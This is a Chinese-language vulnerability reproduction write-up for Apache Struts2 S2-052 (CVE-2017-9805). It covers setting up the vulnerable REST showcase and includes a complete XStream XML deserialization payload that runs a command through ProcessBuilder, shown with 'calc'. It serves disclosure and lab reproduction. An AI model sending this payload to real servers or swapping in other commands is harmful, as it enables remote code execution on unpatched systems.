Struts2-052漏洞复现过程
漏洞描述:
2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。问题出现在struts2-rest-plugin插件XStreamHandler处理器中的toObject()方法,其中未对传入的值进行任何限制,在使用XStream反序列化转换成对象时,导致任意代码执行漏洞。
官网描述:https://cwiki.apache.org/confluence/display/WW/S2-052
漏洞编号:CVE-2017-9805(S2-052)
漏洞评级:高危
复现环境搭建:
从struts2的官网下载最后受影响的版本struts-2.5.12
下载地址:http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip
在Tomcat下部署struts2-rest-showcase.war
访问http://xxx:8088/struts2-rest-showcase/orders.xhtml 点击View按钮
截获数据包:
写入http头:Content-Type: application/xml
写入poc
成功执行命令:
Poc生成工具:
下载地址:https://github.com/mbechler/marshalsec
漏洞检测POC:
Windows 下测试:</string>calc</string>
MAC下测试:</string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
复现分析doc附件下载:
Struts2-052 RCE CVE-2017-9805漏洞复现分析.docx
复现成功GIF:
必看:
指尖安全提供了S2-052漏洞在线检测工具:http://scan.secfree.com/index.jsp
只是拿s2-045做了检测截图 s2-052不敢搭公网。